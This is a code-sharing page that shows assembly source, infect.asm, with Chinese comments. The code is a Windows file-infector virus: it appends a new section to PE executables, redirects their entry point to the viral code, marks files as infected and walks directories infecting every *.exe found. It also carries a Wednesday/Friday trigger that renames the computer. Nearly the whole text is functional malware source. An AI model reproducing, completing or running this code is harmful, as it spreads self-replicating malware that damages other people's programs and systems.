📄 infect.asm
字号:
lea esi,Section_table[ebx] ;取段表Buffer区地址到ESI(里面已经存入了原文件的段表了)
movzx eax,PE_head[ebx].FileHeader.NumberOfSections
mov ecx,28h ;;;;;;IMAGE_SECTION_HEADER长为28H
mul ecx
add esi,eax ;ESI移到Buffer中段表尾部,准备从这里开始写新段的段头
inc PE_head[ebx].FileHeader.NumberOfSections ;PE_head Buffer中的NumberOfSections加1
lea edi,new_section[ebx] ;取新段段头Buffer地址到EDI
xchg edi,esi ;ESI->段头Buffer EDI ->Buffer 中段表尾部
;填加一个节
;------------------------------------(上面的)--
mov eax,[edi-28h+8] ;;取原文件最后一个段的映象大小
add eax,[edi-28h+0ch] ;取映象偏移加到上去得到尾部偏移,作为新加段映象的起始偏移
mov ecx,PE_head[ebx].OptionalHeader.SectionAlignment
XOR EDX,EDX ; ---------------------------------------------------------------------------------------------------
div ecx
TEST EDX,EDX
JZ N1 ;已经对齐就算了
inc eax
N1:
mul ecx
mov new_section[ebx].virt_addr,eax ;修正映象基址对齐后存到新段段表的Buffer
;建立新块,并且块对齐,得到新块入口地址
;------------------------------------(上面的)--
mov eax,checker_len[ebx] ; 里面有新段长度
mov ecx,PE_head[ebx].OptionalHeader.FileAlignment
XOR EDX,EDX
div ecx
TEST EDX,EDX
JZ N2
inc eax
N2:
mul ecx
mov new_section[ebx].raw_size,eax ;修正长度使对齐后存入新段段Buffer
;得出新块的物理大小,按文件对齐
;------------------------------------(上面的)--
mov eax,checker_len[ebx]
mov ecx,PE_head[ebx].OptionalHeader.SectionAlignment
XOR EDX,EDX
div ecx
TEST EDX,EDX
JZ N3
inc eax
N3:
mul ecx
mov new_section[ebx].virt_size,eax ;修正映象大小对齐后存入新段段Buffer
;得出虚拟地址,按块对齐
;------------------------------------(上面的)--
mov eax,[edi-28h+14h] ;取最后一个段的文件偏移
add eax,[edi-28h+10h] ;加上其文件长度得到文件尾部,作为新段文件起始偏移
mov ecx,PE_head[ebx].OptionalHeader.FileAlignment ;;;;;;似应为FileAlignment
XOR EDX,EDX
div ecx
TEST EDX,EDX
JZ N4
inc eax
N4:
mul ecx
mov new_section[ebx].raw_offset,eax ;修正文件偏移对齐后存入新段段Buffer
;得到文件中的偏移。(按理说应该是文件最末)
;------------------------------------(上面的)--
mov eax,new_section[ebx].virt_size
;add eax,PE_head[ebx].OptionalHeader.SizeOfImage ; 有问题 ,可能造成sizeofImage错误 ,因为Virt_size经过对齐了,而Virt_size也经过对齐了,这样加可能会使
ADD EAX,new_section[ebx].virt_addr ;Virt_size+Virt_offset不等于ImageSize ,而这个等式将决定文件是否有效!!
mov PE_head[ebx].OptionalHeader.SizeOfImage,eax
;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐
;------------------------------------(上面的)--
mov ecx,28h
rep movsb ;ESI->新段信息Buffer EDI ->Buffer 中段表尾部,将新区段文件头写入段表Buffer
;填加新块内容
;------------------------------------(上面的)--
mov eax,new_section[ebx].virt_addr
add eax,offset vstart-offset ApiStart
mov PE_head[ebx].OptionalHeader.AddressOfEntryPoint,eax
;改入口地址
;------------------------------------(上面的)--
mov word ptr PE_head[ebx+1ah],0707h ;连接器版本
;填加感染标志
;------------------------------------(上面的)--
push FILE_BEGIN
push 0
push PE_head_addr[ebx]
push hFile[ebx]
call vSetFilePointer[ebx]
;调指针
;------------------------------------(上面的)--
push 0
lea eax,byte_read[ebx]
push eax
push Head_len[ebx]
lea eax,PE_head[ebx]
push eax
push hFile[ebx]
call vWriteFile[ebx]
;更新文件头 ;将PE头和Section Table一并写入文件
;------------------------------------(上面的)--
push FILE_BEGIN
push 0
push new_section[ebx].raw_offset
push hFile[ebx]
call vSetFilePointer[ebx]
;更新指针(到文件尾)
;------------------------------------(上面的)--
push 0
lea eax,byte_read[ebx]
push eax
push new_section[ebx].raw_size
lea eax,ApiStart[ebx]
push eax
push hFile[ebx]
call vWriteFile[ebx]
;写病毒代码
;------------------------------------(上面的)--
exitwrite:
readfail:
push hFile[ebx]
call vCloseHandle[ebx]
;关闭当前文件
;------------------------------------(上面的)--
createfail:
;--------------------------------
;目录结尾区
EndDir: lea eax,FindData[ebx]
push eax
push hFind[ebx]
call vFindNextFileA[ebx]
cmp eax,0
jnz GoOnFind
;查找下一个文件,然后继续感染,直到全感染全为止
;------------------------------------(上面的)--
FindEnds:
push hFind[ebx]
call vFindClose[ebx]
inc NowPathNo[ebx]
jmp FindStartT
;为了调试方便,在此只感染当前目录
;------------------------------------(上面的)--
AllFindEnd:
lea eax,SrcDir[ebx]
push eax
call vSetCurrentDirectoryA[ebx]
;恢复当前目录
;------------------------------------(上面的)--
;####[ 病毒发作区 ]########################;
lea eax,NowTimes[ebx]
push eax
call vGetSystemTime[ebx]
cmp NowTimes[ebx].wDayOfWeek,0003h
jz InTimes
cmp NowTimes[ebx].wDayOfWeek,0005h
jnz ExitTimes
;根据时间决定,每周星期三和星期五发作
;SYSTEMTIME STRUCT
; wYear WORD ?
;wMonth WORD ?
;wDayOfWeek WORD ?
;wDay WORD ?
;wHour WORD ?
;wMinute WORD ?
;wSecond WORD ?
;wMilliseconds WORD ?
;SYSTEMTIME ENDS
;------------------------------------(上面的)--
;--- 发作代码 -------------------
InTimes:
;--------------------------------
lea eax,cpu_name[ebx]
push eax
call vSetComputerNameA[ebx]
;显示一个提示窗口
;------------------------------------(上面的)--
ExitTimes:
;###########################################;
; 恢复寄存器,跳回原程序处
;------------------------------------------
;invoke WaitForSingleObjectEx,eax,-1,0
push 0
push -1
push threadHdl[ebx]
call vWaitForSingleObjectEx[ebx]
;==================================================================
;关闭互斥体句柄
push mutexHdl[ebx]
call vCloseHandle[ebx]
;===================================================================
outNow:
pop ebp
push 0
call vExitProcess[ebx]
;==================================================================
; API操作数据区
;===================================================================
;暴力获取API子过程区
;==============================================
;**********************************************************************
;函数功能:获取 API 的入口地址
;**********************************************************************
GetApiAddress proc uses ecx edi dwHandle:DWORD,dwApiPtr:DWORD,dwApiEnd:DWORD
mov edi,dwApiPtr
.while edi<dwApiEnd
push edi
push dwHandle
call vGetProcAddress[ebx]
xchg eax,ecx
xor al, al
s_check: scasb
jne s_check
mov dword ptr [edi], ecx
add edi,4
.endw
ret
GetApiAddress endp
;**********************************************************************
;函数功能:从内存中 Kernel32.dll 的导出表中获取三个关键 API 的入口地址
;**********************************************************************
initializtion proc uses ecx edx esi edi dwStart:DWORD
LOCAL dwNumberOfNames:DWORD
LOCAL dwNowPtr:DWORD
LOCAL dwEndPtr:DWORD
mov edi,dwStart ; edi = 堆栈顶
and edi, 0ffff0000h ; 用 AND 获得初始页
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE ; 等于“MZ”吗?
mov esi, edi ; Yes, next...
add esi, [esi + IMAGE_DOS_HEADER.e_lfanew] ; 就是 esi + 3ch
.if word ptr [esi] == IMAGE_NT_SIGNATURE ; 等于“PE”吗?
mov hKernelDll[ebx], edi ; Yes, we got it.
.break
.endif
.endif
;以下等同于sub edi, 010000h,即每次减少64k:
dec edi
xor di, di
.break .if edi < 070000000h ; 基地址一般不可能小于70000000h
.endw
;从 PE 文件头的数据目录获取输出表的地址
;mov edi, hKernelDll
add edi, [edi + 3ch]
assume edi: ptr IMAGE_NT_HEADERS
mov edi, [edi].OptionalHeader.DataDirectory.VirtualAddress
add edi, hKernelDll[ebx]
assume edi:ptr IMAGE_EXPORT_DIRECTORY ; edi 指向 Kernel32.dll 的输出表
; done! :)
push [edi].NumberOfNames
pop dwNumberOfNames
mov esi,[edi].AddressOfNames
add esi,[hKernelDll+ebx] ;ESI指向 名字 字串指针 数组头
lea ecx,ApiList[ebx]
mov dwEndPtr,ecx
lea ecx,ApiStart[ebx]
NextFunction:
.while dwEndPtr>ecx
mov dwNowPtr,ecx
push [edi].NumberOfNames
pop dwNumberOfNames
mov esi,[edi].AddressOfNames
add esi,hKernelDll[ebx] ;ESI指向 名字 字串指针 数组头
lost:
.while dwNumberOfNames>0
mov eax,dword ptr [esi]
;lodsw
add eax,hKernelDll[ebx] ;EAX指向 字串头,即当前 函数名字
mov ecx,dwNowPtr
.while byte ptr [ecx]
mov dl,[ecx]
.if dl==[eax]
inc ecx
inc eax
.else
add esi,4
dec dwNumberOfNames
jmp lost
.endif
.endw
;哈哈,名字找到了,就把对应的地址找出来,返回吧
mov eax,[edi].NumberOfNames
sub eax,dwNumberOfNames
shl eax,1
add eax,[edi].AddressOfNameOrdinals
add eax,hKernelDll[ebx] ;ecx指向 序号 数组头 ;相对索引
mov dx,[eax]
movzx eax,dx
shl eax,2
add eax,[edi].AddressOfFunctions
add eax,hKernelDll[ebx]
mov eax,dword ptr [eax]
add eax,hKernelDll[ebx]
mov dword ptr[ecx+1],eax
add ecx,5
jmp NextFunction
ret
.endw
ret ;有一个函数地址找不到也就没有必要再找下去了
.endw
ret
initializtion endp
;=============================================
; 其它的略....
;不同的WIN系统这里的地址是不同的。
;因此说这个病毒并不是每个WIN系统都会传染的
;------------------------------------(上面的)--
;======================================================
;======================================================
ALIGN 4
jumpaddr dd 0
PE_head_addr dd 0
checker_len dd 0
cpu_name db "-_-!",0
PE_head IMAGE_NT_HEADERS <0>
Section_table db 280h dup (0)
db 100h dup(0) ;Bound_table 指向空间内容的Buffer,主要防止Section_table的空间不够,写时还是将Section_table作为基准
Head_len dd 0 ;sizeof PE_head+sizeof Section_table ; PE文件头和块表的长度
my_section struc
sec_name db 2Eh,69h,64h,61h,74h,61h,0,0 ; 块名,最好用Hex写,免得不是8个字节!
virt_size dd 0 ; 块长
virt_addr dd 0 ; 该块RVA地址
raw_size dd 0 ; 该块物理长度
raw_offset dd 0 ; 该块物理偏移
dd 0,0,0 ; 未用
sec_flags dd 0E0000020h ; 属性
my_section ends
new_section my_section <>
;secbuffer db 512 dup (0) ;多余
;tempbuffer db 128 dup (0)
hFile dd 0
des_in dd 0
des_base dd 0
des_basein dd 0
id dd 0
threadHdl dd 0 ;宿主线程句柄
mutexName db 'LoveSunny',0 ;互斥体名
mutexHdl dd 0 ;互斥体句柄
byte_read dd 0
Section_addr dd 0
vsize dd 0
;相关的变量定义
;------------------------------------(上面的)--
;-----------------------------
; 查找文件专用
FileFilter db "*.exe",0
FindData WIN32_FIND_DATA <>
hFind dd 0
NowPath db 256 dup (0)
NowPathNo db 0
SrcDir db 256 dup (0)
;-----------------------------
NowTimes SYSTEMTIME <>
;-----------------------------
vend:
BadDay ends
end vstart
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -